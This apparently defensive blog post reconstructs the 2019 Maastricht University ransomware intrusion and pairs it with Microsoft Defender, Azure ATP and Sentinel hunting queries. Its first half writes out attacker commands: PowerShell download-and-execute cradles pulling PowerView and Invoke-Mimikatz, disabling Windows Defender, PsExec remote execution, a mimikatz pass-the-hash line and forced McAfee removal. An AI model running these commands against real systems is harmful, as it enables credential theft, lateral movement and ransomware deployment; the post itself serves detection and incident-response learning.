In October, 2019. University of Maastricht occurred a cyber attack, where criminals were able to get initial access to their internal network. It all started from a phishing mail that successfully targeted users. In that phishing mail, there was a URL with a redirection to a poisoned attachment file, that contains a malicious (Excel) macro. This poisoned attachment was opened on two workstations, which gave attackers the initial foothold they needed.
Fox-IT has performed an incident response with a clear report on how the attackers have operated in the environment of UM. It is clear to say that a lot of traces has left behind by the attackers, but UM didn’t respond to it. All the details can be found here: fox_it_rapport_reactie_universiteit_maastricht
In this blog post, we will analyze the different techniques that have been used by the attackers, but not only that. We will also walk through the capabilities of Defender ATP, Azure ATP and Azure Security Center to detect the TTP’s of the attackers and we will use basic hunting queries to hunt down these types of attacks. Last, but not least. We will use Azure Sentinel to investigate the attack in graphs.
Keep in mind that we won’t go fully in to the details, so don’t expect that we cover the malware samples for instance or all the exact tools that have been used by the attackers. Everything in this blog post is done from an ”assume breach” scenario. Also please understand that it’s impossible to cover the exact way on how the attackers have operated.
Based on the report of Fox-IT, lets start map all the different techniques to MITRE ATT&CK.
|Tactic||Technique ID||Technique||Data Source|
|Privilege Escalation||T1078||Valid Accounts||MDATP|
|Discovery||T1018||Remote System Recovery||MDATP|
|Execution||T1086||PowerShell||Azure Security Center / MDAPT|
|Execution||T1035||New Service||Azure ATP|
|Defense Evasions||T1089||Disabling Security Tools||MDATP|
|Credential Access||T1003||Credential Dumping||MDATP|
|Lateral Movement||T1075||Pass the Hash||Azure ATP / MDATP|
Attackers were able to get a foothold on two workstations with probably admin privileges. After the foothold has been achieved. They started to perform reconnaissance to find information about different systems.
On 24 October, 2019. Attackers started to use PowerView to perform reconnaissance, but Windows Defender detected it and started to block the malicious script.
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
Since the attackers were an admin on the compromised workstations, it is likely that they turned off Windows Defender.
Set-MpPreference -DisableRealtimeMonitoring $true powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
Now the attackers can perform reconnaissance to discover different kind of information, but it was unclear what kind of information they were looking for, so here are a few examples.
A common thing that attackers are looking for are Domain Admins, because these users have all the rights. Yes, there are more high-privileged groups, but Domain Admin is the most known one.
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
This is the reconnaissance phase were attackers are using the Win32 API to discover local admins on a remote server, which is always interesting information for an attacker.
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local
Other important reconnaissance information is to discover the current local Admin access that the (compromised) user has in the environment.
Find-LocalAdminAccess -Domain test.domain.local
What the attackers also might have done is find sessions on machines, where they have admin privileges on. This is done through the NetSessionEnum API.
Get-NetSession -ComputerName IdentityManager.identity.local
Don’t forget the RDP sessions as well, because admins are RDPing in to every box.
Get-NetRDPSession -ComputerName "IdentityManager"
In the report, there was information about that the attackers were using PingCastle to get a graphical overview on how the UM has set-up their Active Directory.
PingCastle.exe --healthcheck --server domain.local
PingCastle is an audit tool to check the current state of an Active Directory posture. This tool is not considered as an ”hacking” tool, but it is more for auditors. It gives you a graphical overview on the best practices you didn’t implemented, and it generates a report for you with the recommendations.
A lot of information has been discovered by the attackers, so after that. It was the right time to obtain credentials of high-privileged users.
It was unclear on how the attackers were able to get Domain Admin credentials, but it was probably done through compromising other servers and dump the credentials from memory to move further the network.
.\PsExec.exe -accepteula -s \\IdentityManager powershell.exe IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;
As we all know. Domain Admins are login everywhere in the environment, which expose their credentials in memory. In this case, the attackers were able to obtain the credentials from the Administrator.UNIMAAS account. This account has Domain Admin privileges in the environment.
After the attackers have obtained the Domain Admin credentials. They started to move laterally to the Domain Controller. This was probably done with a classic Pass-The-Hash attack.
mimikatz # sekurlsa::pth /user:Administrator.UNIMAA /domain:IDENTITY.local /ntlm:c640c20844cdb49ccdd01eaba2550c37
Attackers have now access to the Domain Controller with the compromised account. Which also means that they have access to the most critical server on the network.
PsExec -s \\IDENTITY-DC cmd.exe
Attackers decided to use the Administrator.UNIMAAS account to roll out their ransomware, but McAfee Endpoint Protection was blocking it on one server.
Since they were Domain Admin. All the rights in the network has been obtained, so they decided to disable the McAfee Agent.
First it was done by doing reconnaissance to find the active services on a remote server.
PsExec \\SBESRV0017 net start
When scrolling down to discover all the services. We can see that McAfee is active on the server.
They started to disable McAfee Endpoint Security on the first compromised server
.\PsExec.exe \\SBESRV0017 cmd "C:\Program Files\McAfee\Agent\x86\frminst.exe" /forceunistall
After they disabled everything on the compromised server(s). They started to roll out their ransomware with the Domain Admin account.
Detection and Hunting Queries
Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Suspicious LDAP query"
Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Suspicious Powershell Activity Detected"
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "A malicious PowerShell Cmdlet was invoked on the machine"
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Suspicious PowerShell command line"
Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Remote code execution attempt"
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Antimalware Action Failed"
Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Passwords hashes dumped from LSASS memory"
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Suspected credential theft activity"
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "LSASS process memory modified"
Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
(SecurityAlert | where ProviderName != 'ASI Scheduled Alerts' and ProviderName != 'CustomAlertRule') | where AlertName == "Possible pass-the-hash operation"
Azure Sentinel Incident Workflow
Entire attack path can be followed through Azure Sentinel, which displays everything in graphs. The most important information in this case is on which machine this attack has been operated, and which user principal was used to launch the attack.
Lets start with the the IdentityClient3.Identity.local machine first and find the different entities that has a relationship. There is a lot of information, but we’re only going to pick the most relevant information.
We can see all the relevant activities that has happened on the compromised workstation.
Now lets take a look at the compromised user, which is in this case. Carol. All the different techniques that were used can be viewed in a graphical manner with all the different entities that have a relationship with each other.
You can also see a summary of the timeline of all the alerts. This was just a part of the timeline, because the image was too long.
Attackers were very noisy in the environment and alarms were ignored. Logs were collected, but nobody responded to it. A lot of traces has left behind, so besides of collecting logs, UM had to respond to the alerts as well. Monitoring antivirus logs are very valuable, as you can see. In the report it stated that McAfee Endpoint Protection and Windows Defender triggered multiple alerts.
@ashwinpatil – For providing valuable feedback and inspiration to this blog post.